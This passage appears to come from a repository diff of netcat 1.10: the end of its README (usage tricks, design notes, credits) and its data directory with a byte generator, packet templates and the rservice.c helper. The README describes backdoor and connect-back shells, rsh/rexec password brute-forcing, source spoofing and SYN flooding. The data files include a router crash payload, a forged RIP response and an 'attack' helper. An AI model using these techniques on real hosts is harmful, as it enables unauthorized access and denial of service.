that appear later on such as dynamic PPP links. There are some hacked web
servers and versions of "inetd" floating around that specifically bind as well,
based on a configuration file -- these generally *are* bound to alias addresses
to offer several different address-based services from one machine.
Using -e to start a remote backdoor shell is another obvious sort of thing,
easier than constructing a file for inetd to listen on "ingreslock" or
something, and you can access-control it against other people by specifying a
client host and port. Experience with this truly demonstrates how fragile the
barrier between being "logged in" or not really is, and is further expressed by
scripts/bsh. If you're already behind a firewall, it may be easier to make an
*outbound* connection and then run a shell; a small wrapper script can
periodically try connecting to a known place and port, you can later listen
there until the inbound connection arrives, and there's your shell. Running
a shell via UDP has several interesting features, although be aware that once
"connected", the UDP stub sockets tend to show up in "netstat" just like TCP
connections and may not be quite as subtle as you wanted. Packets may also be
lost, so use TCP if you need reliable connections. But since UDP is
connectionless, a hookup of this sort will stick around almost forever, even if
you ^C out of netcat or do a reboot on your side, and you only need to remember
the ports you used on both ends to reestablish. And outbound UDP-plus-exec
connection creates the connected socket and starts the program immediately. On
a listening UDP connection, the socket is created once a first packet is
received. In either case, though, such a "connection" has the interesting side
effect that only your client-side IP address and [chosen?] source port will
thereafter be able to talk to it. Instant access control! A non-local third
party would have to do ALL of the following to take over such a session:
forge UDP with your source address [trivial to do; see below]
guess the port numbers of BOTH ends, or sniff the wire for them
arrange to block ICMP or UDP return traffic between it and your real
source, so the session doesn't die with a network write error.
The companion program data/rservice.c is helpful in scripting up any sort of
r-service username or password guessing attack. The arguments to "rservice"
are simply the strings that get null-terminated and passed over an "rcmd"-style
connection, with the assumption that the client does not need a separate
standard-error port. Brute-force password banging is best done via "rexec" if
it is available since it is less likely to log failed attempts. Thus, doing
"rservice joe joespass pwd | nc target exec" should return joe's home dir if
the password is right, or "Permission denied." Plug in a dictionary and go to
town. If you're attacking rsh/rlogin, remember to be root and bind to a port
between 512 and 1023 on your end, and pipe in "rservice joe joe pwd" and such.
Netcat can prevent inadvertently sending extra information over a telnet
connection. Use "nc -t" in place of telnet, and daemons that try to ask for
things like USER and TERM environment variables will get no useful answers, as
they otherwise would from a more recent telnet program. Some telnetds actually
try to collect this stuff and then plug the USER variable into "login" so that
the caller is then just asked for a password! This mechanism could cause a
login attempt as YOUR real username to be logged over there if you use a
Borman-based telnet instead of "nc -t".
Got an unused network interface configured in your kernel [e.g. SLIP], or
support for alias addresses? Ifconfig one to be any address you like, and bind
to it with -s to enable all sorts of shenanigans with bogus source addresses.
The interface probably has to be UP before this works; some SLIP versions
need a far-end address before this is true. Hammering on UDP services is then
a no-brainer. What you can do to an unfiltered syslog daemon should be fairly
obvious; trimming the conf file can help protect against it. Many routers out
there still blindly believe what they receive via RIP and other routing
protocols. Although most UDP echo and chargen servers check if an incoming
packet was sent from *another* "internal" UDP server, there are many that still
do not, any two of which [or many, for that matter] could keep each other
entertained for hours at the expense of bandwidth. And you can always make
someone wonder why she's being probed by nsa.gov.
Your TCP spoofing possibilities are mostly limited to destinations you can
source-route to while locally bound to your phony address. Many sites block
source-routed packets these days for precisely this reason. If your kernel
does oddball things when sending source-routed packets, try moving the pointer
around with -G. You may also have to fiddle with the routing on your own
machine before you start receiving packets back. Warning: some machines still
send out traffic using the source address of the outbound interface, regardless
of your binding, especially in the case of localhost. Check first. If you can
open a connection but then get no data back from it, the target host is
probably killing the IP options on its end [this is an option inside TCP
wrappers and several other packages], which happens after the 3-way handshake
is completed. If you send some data and observe the "send-q" side of "netstat"
for that connection increasing but never getting sent, that's another symptom.
Beware: if Sendmail 8.7.x detects a source-routed SMTP connection, it extracts
the hop list and sticks it in the Received: header!
SYN bombing [sometimes called "hosing"] can disable many TCP servers, and if
you hit one often enough, you can keep it unreachable for days. As is true of
many other denial-of-service attacks, there is currently no defense against it
except maybe at the human level. Making kernel SOMAXCONN considerably larger
than the default and the half-open timeout smaller can help, and indeed some
people running large high-performance web servers have *had* to do that just to
handle normal traffic. Taking out mailers and web servers is sociopathic, but
on the other hand it is sometimes useful to be able to, say, disable a site's
identd daemon for a few minutes. If someone realizes what is going on,
backtracing will still be difficult since the packets have a phony source
address, but calls to enough ISP NOCs might eventually pinpoint the source.
It is also trivial for a clueful ISP to watch for or even block outgoing
packets with obviously fake source addresses, but as we know many of them are
not clueful or willing to get involved in such hassles. Besides, outbound
packets with an [otherwise unreachable] source address in one of their net
blocks would look fairly legitimate.
Notes
=====
A discussion of various caveats, subtleties, and the design of the innards.
As of version 1.07 you can construct a single file containing command arguments
and then some data to transfer. Netcat is now smart enough to pick out the
first line and build the argument list, and send any remaining data across the
net to one or multiple ports. The first release of netcat had trouble with
this -- it called fgets() for the command line argument, which behind the
scenes does a large read() from standard input, perhaps 4096 bytes or so, and
feeds that out to the fgets() library routine. By the time netcat 1.00 started
directly read()ing stdin for more data, 4096 bytes of it were gone. It now
uses raw read() everywhere and does the right thing whether reading from files,
pipes, or ttys. If you use this for multiple-port connections, the single
block of data will now be a maximum of 8K minus the first line. Improvements
have been made to the logic in sending the saved chunk to each new port. Note
that any command-line arguments hidden using this mechanism could still be
extracted from a core dump.
When netcat receives an inbound UDP connection, it creates a "connected socket"
back to the source of the connection so that it can also send out data using
normal write(). Using this mechanism instead of recvfrom/sendto has several
advantages -- the read/write select loop is simplified, and ICMP errors can in
effect be received by non-root users. However, it has the subtle side effect
that if further UDP packets arrive from the caller but from different source
ports, the listener will not receive them. UDP listen mode on a multihomed
machine may have similar quirks unless you specifically bind to one of its
addresses. It is not clear that kernel support for UDP connected sockets
and/or my understanding of it is entirely complete here, so experiment...
You should be aware of some subtleties concerning UDP scanning. If -z is on,
netcat attempts to send a single null byte to the target port, twice, with a
small time in between. You can either use the -w timeout, or netcat will try
to make a "sideline" TCP connection to the target to introduce a small time
delay equal to the round-trip time between you and the target. Note that if
you have a -w timeout and -i timeout set, BOTH take effect and you wait twice
as long. The TCP connection is to a normally refused port to minimize traffic,
but if you notice a UDP fast-scan taking somewhat longer than it should, it
could be that the target is actually listening on the TCP port. Either way,
any ICMP port-unreachable messages from the target should have arrived in the
meantime. The second single-byte UDP probe is then sent. Under BSD kernels,
the ICMP error is delivered to the "connected socket" and the second write
returns an error, which tells netcat that there is NOT a UDP service there.
While Linux seems to be a fortunate exception, under many SYSV derived kernels
the ICMP is not delivered, and netcat starts reporting that *all* the ports are
"open" -- clearly wrong. [Some systems may not even *have* the "udp connected
socket" concept, and netcat in its current form will not work for UDP at all.]
If -z is specified and only one UDP port is probed, netcat's exit status
reflects whether the connection was "open" or "refused" as with TCP.
It may also be that UDP packets are being blocked by filters with no ICMP error
returns, in which case everything will time out and return "open". This all
sounds backwards, but that's how UDP works. If you're not sure, try "echo
w00gumz | nc -u -w 2 target 7" to see if you can reach its UDP echo port at
all. You should have no trouble using a BSD-flavor system to scan for UDP
around your own network, although flooding a target with the high activity that
-z generates will cause it to occasionally drop packets and indicate false
"opens". A more "correct" way to do this is collect and analyze the ICMP
errors, as does SATAN's "udp_scan" backend, but then again there's no guarantee
that the ICMP gets back to you either. Udp_scan also does the zero-byte
probes but is excruciatingly careful to calculate its own round-trip timing
average and dynamically set its own response timeouts along with decoding any
ICMP received. Netcat uses a much sleazier method which is nonetheless quite
effective. Cisco routers are known to have a "dead time" in between ICMP
responses about unreachable UDP ports, so a fast scan of a cisco will show
almost everything "open". If you are looking for a specific UDP service, you
can construct a file containing the right bytes to trigger a response from the
other end and send that as standard input. Netcat will read up to 8K of the
file and send the same data to every UDP port given. Note that you must use a
timeout in this case [as would any other UDP client application] since the
two-write probe only happens if -z is specified.
Many telnet servers insist on a specific set of option negotiations before
presenting a login banner. On a raw connection you will see this as small
amount of binary gook. My attempts to create fixed input bytes to make a
telnetd happy worked some places but failed against newer BSD-flavor ones,
possibly due to timing problems, but there are a couple of much better
workarounds. First, compile with -DTELNET and use -t if you just want to get
past the option negotiation and talk to something on a telnet port. You will
still see the binary gook -- in fact you'll see a lot more of it as the options
are responded to behind the scenes. The telnet responder does NOT update the
total byte count, or show up in the hex dump -- it just responds negatively to
any options read from the incoming data stream. If you want to use a normal
full-blown telnet to get to something but also want some of netcat's features
involved like settable ports or timeouts, construct a tiny "foo" script:
#! /bin/sh
exec nc -otheroptions targethost 23
and then do
nc -l -p someport -e foo localhost &
telnet localhost someport
and your telnet should connect transparently through the exec'ed netcat to
the target, using whatever options you supplied in the "foo" script. Don't
use -t inside the script, or you'll wind up sending *two* option responses.
I've observed inconsistent behavior under some Linuxes [perhaps just older
ones?] when binding in listen mode. Sometimes netcat binds only to "localhost"
if invoked with no address or port arguments, and sometimes it is unable to
bind to a specific address for listening if something else is already listening
on "any". The former problem can be worked around by specifying "-s 0.0.0.0",
which will do the right thing despite netcat claiming that it's listening on
[127.0.0.1]. This is a known problem -- for example, there's a mention of it
in the makefile for SOCKS. On the flip side, binding to localhost and sending
packets to some other machine doesn't work as you'd expect -- they go out with
the source address of the sending interface instead. The Linux kernel contains
a specific check to ensure that packets from 127.0.0.1 are never sent to the
wire; other kernels may contain similar code. Linux, of course, *still*
doesn't support source-routing, but they claim that it and many other network
improvements are at least breathing hard.
There are several possible errors associated with making TCP connections, but
to specifically see anything other than "refused", one must wait the full
kernel-defined timeout for a connection to fail. Netcat's mechanism of
wrapping an alarm timer around the connect prevents the *real* network error
from being returned -- "errno" at that point indicates "interrupted system
call" since the connect attempt was interrupted. Some old 4.3 BSD kernels
would actually return things like "host unreachable" immediately if that was
the case, but most newer kernels seem to wait the full timeout and *then* pass
back the real error. Go figure. In this case, I'd argue that the old way was
better, despite those same kernels generally being the ones that tear down
*established* TCP connections when ICMP-bombed.
Incoming socket options are passed to applications by the kernel in the
kernel's own internal format. The socket-options structure for source-routing
contains the "first-hop" IP address first, followed by the rest of the real
options list. The kernel uses this as is when sending reply packets -- the
structure is therefore designed to be more useful to the kernel than to humans,
but the hex dump of it that netcat produces is still useful to have.
Kernels treat source-routing options somewhat oddly, but it sort of makes sense
once one understands what's going on internally. The options list of addresses
must contain hop1, hop2, ..., destination. When a source-routed packet is sent
by the kernel [at least BSD], the actual destination address becomes irrelevant
because it is replaced with "hop1", "hop1" is removed from the options list,
and all the other addresses in the list are shifted up to fill the hole. Thus
the outbound packet is sent from your chosen source address to the first
*gateway*, and the options list now contains hop2, ..., destination. During
all this address shuffling, the kernel does NOT change the pointer value, which
is why it is useful to be able to set the pointer yourself -- you can construct
some really bizarre return paths, and send your traffic fairly directly to the
target but around some larger loop on the way back. Some Sun kernels seem to
never flip the source-route around if it contains less than three hops, never
reset the pointer anyway, and tries to send the packet [with options containing
a "completed" source route!!] directly back to the source. This is way broken,
of course. [Maybe ipforwarding has to be on? I haven't had an opportunity to
beat on it thoroughly yet.]
"Credits" section: The original idea for netcat fell out of a long-standing
desire and fruitless search for a tool resembling it and having the same
features. After reading some other network code and realizing just how many
cool things about sockets could be controlled by the calling user, I started
on the basics and the rest fell together pretty quickly. Some port-scanning
ideas were taken from Venema/Farmer's SATAN tool kit, and Pluvius' "pscan"
utility. Healthy amounts of BSD kernel source were perused in an attempt to
dope out socket options and source-route handling; additional help was obtained
from Dave Borman's telnet sources. The select loop is loosely based on fairly
well-known code from "rsh" and Richard Stevens' "sock" program [which itself is
sort of a "netcat" with more obscure features], with some more paranoid
sanity-checking thrown in to guard against the distinct likelihood that there
are subtleties about such things I still don't understand. I found the
argument-hiding method cleanly implemented in Barrett's "deslogin"; reading the
line as input allows greater versatility and is much less prone to cause
bizarre problems than the more common trick of overwriting the argv array.
After the first release, several people contributed portability fixes; they are
credited in generic.h and the Makefile. Lauren Burka inspired the ascii art
for this revised document. Dean Gaudet at Wired supplied a precursor to
the hex-dump code, and mudge@l0pht.com originally experimented with and
supplied code for the telnet-options responder. Outbound "-e <prog>" resulted
from a need to quietly bypass a firewall installation. Other suggestions and
patches have rolled in for which I am always grateful, but there are only 26
hours per day and a discussion of feature creep near the end of this document.
Netcat was written with the Russian railroad in mind -- conservatively built
and solid, but it *will* get you there. While the coding style is fairly
"tight", I have attempted to present it cleanly [keeping *my* lines under 80
characters, dammit] and put in plenty of comments as to why certain things
are done. Items I know to be questionable are clearly marked with "XXX".
Source code was made to be modified, but determining where to start is
difficult with some of the tangles of spaghetti code that are out there.
Here are some of the major points I feel are worth mentioning about netcat's
internal design, whether or not you agree with my approach.
Except for generic.h, which changes to adapt more platforms, netcat is a single
source file. This has the distinct advantage of only having to include headers
once and not having to re-declare all my functions in a billion different
places. I have attempted to contain all the gross who's-got-what-.h-file
things in one small dumping ground. Functions are placed "dependencies-first",
such that when the compiler runs into the calls later, it already knows the
type and arguments and won't complain. No function prototyping -- not even the
__P(()) crock -- is used, since it is more portable and a file of this size is
easy enough to check manually. Each function has a standard-format comment
ahead of it, which is easily found using the regexp " :$". I freely use gotos.
Loops and if-clauses are made as small and non-nested as possible, and the ends
of same *marked* for clarity [I wish everyone would do this!!].
Large structures and buffers are all malloc()ed up on the fly, slightly larger
than the size asked for and zeroed out. This reduces the chances of damage
from those "end of the buffer" fencepost errors or runaway pointers escaping
off the end. These things are permanent per run, so nothing needs to be freed
until the program exits.
File descriptor zero is always expected to be standard input, even if it is
closed. If a new network descriptor winds up being zero, a different one is
asked for which will be nonzero, and fd zero is simply left kicking around
for the rest of the run. Why? Because everything else assumes that stdin is
always zero and "netfd" is always positive. This may seem silly, but it was a
lot easier to code. The new fd is obtained directly as a new socket, because
trying to simply dup() a new fd broke subsequent socket-style use of the new fd
under Solaris' stupid streams handling in the socket library.
The catch-all message and error handlers are implemented with an ample list of
phoney arguments to get around various problems with varargs. Varargs seems
like deliberate obfuscation in the first place, and using it would also
require use of vfprintf() which not all platforms support. The trailing
sleep in bail() is to allow output to flush, which is sometimes needed if
netcat is already on the other end of a network connection.
The reader may notice that the section that does DNS lookups seems much
gnarlier and more confusing than other parts. This is NOT MY FAULT. The
sockaddr and hostent abstractions are an abortion that forces the coder to
deal with it. Then again, a lot of BSD kernel code looks like similar
struct-pointer hell. I try to straighten it out somewhat by defining my own
HINF structure, containing names, ascii-format IP addresses, and binary IP
addresses. I fill this structure exactly once per host argument, and squirrel
everything safely away and handy for whatever wants to reference it later.
Where many other network apps use the FIONBIO ioctl to set non-blocking I/O
on network sockets, netcat uses straightforward blocking I/O everywhere.
This makes everything very lock-step, relying on the network and filesystem
layers to feed in data when needed. Data read in is completely written out
before any more is fetched. This may not be quite the right thing to do under
some OSes that don't do timed select() right, but this remains to be seen.
The hexdump routine is written to be as fast as possible, which is why it does
so much work itself instead of just sprintf()ing everything together. Each
dump line is built into a single buffer and atomically written out using the
lowest level I/O calls. Further improvements could undoubtedly be made by
using writev() and eliminating all sprintf()s, but it seems to fly right along
as is. If both exec-a-prog mode and a hexdump file is asked for, the hexdump
flag is deliberately turned off to avoid creating random zero-length files.
Files are opened in "truncate" mode; if you want "append" mode instead, change
the open flags in main().
main() may look a bit hairy, but that's only because it has to go down the
argv list and handle multiple ports, random mode, and exit status. Efforts
have been made to place a minimum of code inside the getopt() loop. Any real
work is sent off to functions in what is hopefully a straightforward way.
Obligatory vendor-bash: If "nc" had become a standard utility years ago,
the commercial vendors would have likely packaged it setuid root and with
-DGAPING_SECURITY_HOLE turned on but not documented. It is hoped that netcat
will aid people in finding and fixing the no-brainer holes of this sort that
keep appearing, by allowing easier experimentation with the "bare metal" of
the network layer.
It could be argued that netcat already has too many features. I have tried
to avoid "feature creep" by limiting netcat's base functionality only to those
things which are truly relevant to making network connections and the everyday
associated DNS lossage we're used to. Option switches already have slightly
overloaded functionality. Random port mode is sort of pushing it. The
hex-dump feature went in later because it *is* genuinely useful. The
telnet-responder code *almost* verges on the gratuitous, especially since it
mucks with the data stream, and is left as an optional piece. Many people have
asked for example "how 'bout adding encryption?" and my response is that such
things should be separate entities that could pipe their data *through* netcat
instead of having their own networking code. I am therefore not completely
enthusiastic about adding any more features to this thing, although you are
still free to send along any mods you think are useful.
Nonetheless, at this point I think of netcat as my tcp/ip swiss army knife,
and the numerous companion programs and scripts to go with it as duct tape.
Duct tape of course has a light side and a dark side and binds the universe
together, and if I wrap enough of it around what I'm trying to accomplish,
it *will* work. Alternatively, if netcat is a large hammer, there are many
network protocols that are increasingly looking like nails by now...
_H* 960320 v1.10 RELEASE -- happy spring!

10
data/Makefile Normal file
View File

@ -0,0 +1,10 @@
all: data rservice xor
data: data.c
cc -s -O -o data data.c
rservice: rservice.c
cc -s -O -o rservice rservice.c
xor: xor.c
cc -s -O -o xor xor.c
clean:
rm -f *.o data rservice xor

9
data/README Normal file
View File

@ -0,0 +1,9 @@
For now, read the header comments inside each of these for documentation.
The programs are simple enough that they don't really need a Makefile any more
complex than the one given; ymmv. Data and xor may also be useful on DOS,
which is why there are hooks for it in the code.
data.c a primitive atob / btoa byte generator
*.d example input to "data -g"
rservice.c a utility for scripting up rsh/rexec attacks
xor.c generic xor handler

274
data/data.c Normal file
View File

@ -0,0 +1,274 @@
/* primitive arbitrary-data frontend for netcat. 0.9 960226
only handles one value per ascii line, but at least parses 0xNN too
an input line containing "%r" during "-g" generates a random byte
todo:
make work on msloss jus' for kicks [workin' on it...]
syntax: data -X [limit]
where X is one of
d: dump raw bytes to ascii format
g: generate raw bytes from ascii input
c: generate ??? of value -- NOTYET
r: generate all random bytes
and limit is how many bytes to generate or dump [unspecified = infinite]
*Hobbit*, started 951004 or so and randomly screwed around with since */
#include <stdio.h>
#ifdef MSDOS /* for MSC only at the moment... */
#include <fcntl.h>
#else /* MSDOS */
#include <sys/file.h>
#define HAVE_RANDOM /* XXX: might have to change */
#endif /* MSDOS */
static char buf_in [128];
static char buf_raw [8192];
static char surveysez[] = "survey sez... XXX\n";
/* fgetss :
wrapper for fgets, that yanks trailing newlines. Doing the work ourselves
instead of calling strchr/strlen/whatever */
char * fgetss (buf, len, from)
char * buf;
size_t len;
FILE * from;
{
register int x;
register char * p, * q;
p = fgets (buf, len, from); /* returns ptr to buf */
if (! p)
return (NULL);
q = p;
for (x = 0; x < len; x++) {
*p = (*p & 0x7f); /* rip parity, just in case */
switch (*p) {
case '\n':
case '\r':
case '\0':
*p = '\0';
return (q);
} /* switch */
p++;
} /* for */
} /* fgetss */
/* randint:
swiped from rndb.c. Generates an INT, you have to mask down to char. */
int randint()
{
register int q;
register int x;
#ifndef HAVE_RANDOM
q = rand();
#else
q = random();
#endif
x = ((q >> 8) & 0xff); /* perturb low byte using some higher bits */
x = q ^ x;
return (x);
}
main (argc, argv)
int argc;
char ** argv;
{
register unsigned char * p;
register char * q;
register int x;
int bc = 0;
int limit = 0; /* num to gen, or 0 = infinite */
register int xlimit; /* running limit */
FILE * txt; /* line-by-line ascii file */
int raw; /* raw bytes fd */
int dumping = 0; /* cmd flags ... */
int genning = 0;
int randing = 0;
memset (buf_in, 0, sizeof (buf_in));
memset (buf_raw, 0, sizeof (buf_raw));
xlimit = 1; /* doubles as "exit flag" */
bc = 1; /* preload, assuming "dump" */
x = getpid() + 687319;
/* if your library doesnt have srandom/random, use srand/rand. [from rnd.c] */
#ifndef HAVE_RANDOM
srand (time(0) + x);
#else
srandom (time(0) + x);
#endif
#ifdef O_BINARY
/* DOS stupidity */
/* Aha: *here's* where that setmode() lib call conflict in ?BSD came from */
x = setmode (0, O_BINARY); /* make stdin raw */
if (x < 0) {
fprintf (stderr, "stdin binary setmode oops: %d\n", x);
exit (1);
}
x = setmode (1, O_BINARY); /* make stdout raw */
if (x < 0) {
fprintf (stderr, "stdout binary setmode oops: %d\n", x);
exit (1);
}
#endif /* O_BINARY */
if (argv[1]) {
p = argv[1]; /* shit-simple single arg parser... */
if (*p == '-') /* dash is optional, we'll deal */
p++;
if (*p == 'd')
dumping++;
if (*p == 'g')
genning++;
if (*p == 'r')
randing++;
} /* if argv 1 */
/* optional second argument: limit # of bytes shoveled either way */
if (argv[2]) {
x = atoi (argv[2]);
if (x)
limit = x;
else
goto wrong;
xlimit = limit;
}
/* Since this prog would likely best be written in assmbler, I'm gonna
write it *like* assembler. So there. */
if (randing)
goto do_rand;
nextbuf: /* loop sleaze */
if (dumping) { /* switch off to wherever */
if (genning)
goto wrong;
goto do_dump;
}
if (genning)
goto do_gen;
wrong:
fprintf (stderr, surveysez); /* if both or neither */
exit (1);
do_gen:
/* here if genning -- original functionality */
q = buf_raw;
bc = 0;
/* suck up lines until eof or buf_raw is full */
while (1) {
p = fgetss (buf_in, 120, stdin);
if (! p)
break; /* EOF */
/* super-primitive version first: one thingie per line */
if (*p == '#') /* comment */
continue;
if (*p == '\0') /* blank line */
continue;
if (*p == '%') { /* escape char? */
p++;
if (*p == 'r') { /* random byte */
x = randint();
goto stuff;
} /* %r */
} /* if "%" escape */
if (*p == '0')
if (*(p+1) == 'x') /* 0x?? */
goto hex;
x = atoi (p); /* reg'lar decimal number */
goto stuff;
hex:
/* A 65 a 97 */
/* xxx: use a conversion table for this or something. Since we ripped the
parity bit, we only need a preset array of 128 with downconversion factors
loaded in *once*. maybe look at scanf... */
p++; p++; /* point at hex-chars */
x = 0;
if ((*p > 96) && (*p < 123)) /* a-z */
*p = (*p - 32); /* this is massively clumsy */
if ((*p > 64) && (*p < 71)) /* A-F */
x = (*p - 55);
if ((*p > 47) && (*p < 58)) /* digits */
x = (*p - 48);
p++;
if (*p) /* another digit? */
x = (x << 4); /* shift to hi half */
if ((*p > 96) && (*p < 123)) /* a-z */
*p = (*p - 32);
if ((*p > 64) && (*p < 71)) /* A-F */
x = (x | (*p - 55)); /* lo half */
if ((*p > 47) && (*p < 58)) /* digits */
x = (x | (*p - 48));
/* fall thru */
stuff: /* cvt to byte and add to buffer */
*q = (x & 0xff);
q++;
bc++;
if (limit) {
xlimit--;
if (xlimit == 0) /* max num reached */
break;
} /* limit */
if (bc >= sizeof (buf_raw)) /* buffer full */
break;
} /* while 1 */
/* now in theory we have our buffer formed; shovel it out */
x = write (1, buf_raw, bc);
if (x <= 0) {
fprintf (stderr, "write oops: %d\n", x);
exit (1);
}
if (xlimit && p)
goto nextbuf; /* go get some more */
exit (0);
do_dump:
/* here if dumping raw stuff into an ascii file */
/* gad, this is *so* much simpler! can we say "don't rewrite printf"? */
x = read (0, buf_raw, 8192);
if (x <= 0)
exit (0);
q = buf_raw;
for ( ; x > 0; x--) {
p = q;
printf ("%-3.3d # 0x%-2.2x # ", *p, *p);
if ((*p > 31) && (*p < 127))
printf ("%c %d\n", *p, bc);
else
printf (". %d\n", bc);
q++;
bc++;
if (limit) {
xlimit--;
if (xlimit == 0) {
fflush (stdout);
exit (0);
}
} /* limit */
} /* for */
goto nextbuf;
do_rand:
/* here if generating all-random bytes. Stays in this loop */
p = buf_raw;
while (1) {
*p = (randint() & 0xff);
write (1, p, 1); /* makes very slow! */
if (limit) {
xlimit--;
if (xlimit == 0)
break;
}
} /* while */
exit (0);
} /* main */

36
data/dns-any.d Normal file
View File

@ -0,0 +1,36 @@
# dns "any for ." query, to udp 53
# if tcp: precede with 2 bytes of len:
# 0
# 17
# you should get at least *one* record back out
# HEADER:
0 # query id = 2
2
1 # flags/opcodes = query, dorecurse
0
0 # qdcount, i.e. nqueries: 1
1
0 # ancount: answers, 0
0
0 # nscount: 0
0
0 # addl records: 0
0
# end of fixed header
0 # name-len: 0 for ".", lenbyte plus name-bytes otherwise
0 # type: any, 255
0xff
0 # class: IN
1
# i think that's it..

59
data/nfs-0.d Normal file
View File

@ -0,0 +1,59 @@
# UDP NFS null-proc call; finds active NFS listeners on port 2049.
# If you get *something* back, there's an NFS server there.
000 # XID: 4 trash bytes
001
002
003
000 # CALL: 0
000
000
000
000 # RPC version: 2
000
000
002
000 # nfs: 100003
001
0x86
0xa3
000 # version: 1
000
000
001
000 # procedure number: 0
000
000
000
000 # port: junk
000
000
000
000 # auth trash
000
000
000
000 # auth trash
000
000
000
000 # auth trash
000
000
000
000 # extra auth trash? probably not needed
000
000
000
# that's it!

8
data/pm.d Normal file
View File

@ -0,0 +1,8 @@
# obligatory duplicate of dr delete's Livingston portmaster crash, aka
# telnet break. Fire into its telnet listener. An *old* bug by now, but
# consider the small window one might obtain from a slightly out-of-rev PM
# used as a firewall, that starts routing IP traffic BEFORE its filter sets
# are fully loaded...
255 # 0xff # . 1
243 # 0xf3 # . 2

60
data/pmap-dump.d Normal file
View File

@ -0,0 +1,60 @@
# portmap dump request: like "rpcinfo -p" but via UDP instead
# send to UDP 111 and hope it's not a logging portmapper!
# split into longwords, since rpc apparently only deals with them
001 # 0x01 # . # XID: 4 trash bytes
002 # 0x02 # .
003 # 0x03 # .
004 # 0x04 # .
000 # 0x00 # . # MSG: int 0=call, 1=reply
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # pmap call body: rpc version=2
000 # 0x00 # .
000 # 0x00 # .
002 # 0x02 # .
000 # 0x00 # . # pmap call body: prog=PMAP, 100000
001 # 0x01 # .
134 # 0x86 # .
160 # 0xa0 # .
000 # 0x00 # . # pmap call body: progversion=2
000 # 0x00 # .
000 # 0x00 # .
002 # 0x02 # .
000 # 0x00 # . # pmap call body: proc=DUMP, 4
000 # 0x00 # .
000 # 0x00 # .
004 # 0x04 # .
# with AUTH_NONE, there are 4 zero integers [16 bytes] here
000 # 0x00 # . # auth junk: cb_cred: auth_unix = 1; NONE = 0
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # auth junk
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # auth junk
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # auth junk
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
# The reply you get back contains your XID, int 1 if "accepted", and
# a whole mess of gobbledygook containing program numbers, versions,
# and ports that rpcinfo knows how to decode. For the moment, you get
# to wade through it yourself...

78
data/pmap-mnt.d Normal file
View File

@ -0,0 +1,78 @@
# portmap request for mountd [or whatever; see where prog=MOUNT]
# send to UDP 111 and hope it's not a logging portmapper!
# split into longwords, since rpc apparently only deals with them
001 # 0x01 # . # XID: 4 trash bytes
002 # 0x02 # .
003 # 0x03 # .
004 # 0x04 # .
000 # 0x00 # . # MSG: int 0=call, 1=reply
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # pmap call body: rpc version=2
000 # 0x00 # .
000 # 0x00 # .
002 # 0x02 # .
000 # 0x00 # . # pmap call body: prog=PMAP, 100000
001 # 0x01 # .
134 # 0x86 # .
160 # 0xa0 # .
000 # 0x00 # . # pmap call body: progversion=2
000 # 0x00 # .
000 # 0x00 # .
002 # 0x02 # .
000 # 0x00 # . # pmap call body: proc=GETPORT, 3
000 # 0x00 # .
000 # 0x00 # .
003 # 0x03 # .
# with AUTH_NONE, there are 4 zero integers [16 bytes] here
000 # 0x00 # . # auth junk: cb_cred: auth_unix = 1; NONE = 0
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # auth junk
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # auth junk
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # auth junk
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # prog=MOUNT, 100005
001 # 0x01 # .
134 # 0x86 # .
165 # 0xa5 # .
000 # 0x00 # . # progversion=1
000 # 0x00 # .
000 # 0x00 # .
001 # 0x01 # .
000 # 0x00 # . # protocol=udp, 17
000 # 0x00 # .
000 # 0x00 # .
017 # 0x11 # .
000 # 0x00 # . # proc num = junk
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
# The reply you get back contains your XID, int 1 if "accepted", and
# mountd's port number at the end or 0 if not registered.

52
data/rip.d Normal file
View File

@ -0,0 +1,52 @@
# struct netinfo {
# struct sockaddr rip_dst; /* destination net/host */
# int rip_metric; /* cost of route */
# };
# struct rip {
# u_char rip_cmd; /* request/response */
# u_char rip_vers; /* protocol version # */
# u_char rip_res1[2]; /* pad to 32-bit boundary */
# union {
# struct netinfo ru_nets[1]; /* variable length... */
# char ru_tracefile[1]; /* ditto ... */
# } ripun;
#define rip_nets ripun.ru_nets
#define rip_tracefile ripun.ru_tracefile
#define RIPCMD_REQUEST 1 /* want info */
#define RIPCMD_RESPONSE 2 /* responding to request */
#define RIPCMD_TRACEON 3 /* turn tracing on */
#define RIPCMD_TRACEOFF 4 /* turn it off */
#define HOPCNT_INFINITY 16 /* per Xerox NS */
#define MAXPACKETSIZE 512 /* max broadcast size */
### RIP packet redux
### UDP send FROM clued-rtr/520 to target/520
2 # RIPCMD_RESPONSE
1 # version
0 # padding
0
# sockaddr-plus-metric structs begin, as many as necessary...
0 # len
2 # AF_INET
0 # port
0
# addr bytes:
X
Y
Z
Q
0 # filler, out to 16 bytes [sizeof (sockaddr)] ...
0
0
0
0
0
0
0
0 # metric: net-order integer
0
0
1
## that's it

68
data/rservice.c Normal file
View File

@ -0,0 +1,68 @@
/* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up
rsh/rexec attacks. Needs to be a prog because shells strip out nulls.
args:
locuser remuser [cmd]
remuser passwd [cmd]
cmd defaults to "pwd".
... whatever. _H*/
#include <stdio.h>
/* change if you like; "id" is a good one for figuring out if you won too */
static char cmd[] = "pwd";
static char buf [256];
main(argc, argv)
int argc;
char * argv[];
{
register int x;
register int y;
char * p;
char * q;
p = buf;
memset (buf, 0, 256);
p++; /* first null */
y = 1;
if (! argv[1])
goto wrong;
x = strlen (argv[1]);
memcpy (p, argv[1], x); /* first arg plus another null */
x++;
p += x;
y += x;
if (! argv[2])
goto wrong;
x = strlen (argv[2]);
memcpy (p, argv[2], x); /* second arg plus null */
x++;
p += x;
y += x;
q = cmd;
if (argv[3])
q = argv[3];
x = strlen (q); /* not checked -- bfd */
memcpy (p, q, x); /* the command, plus final null */
x++;
p += x;
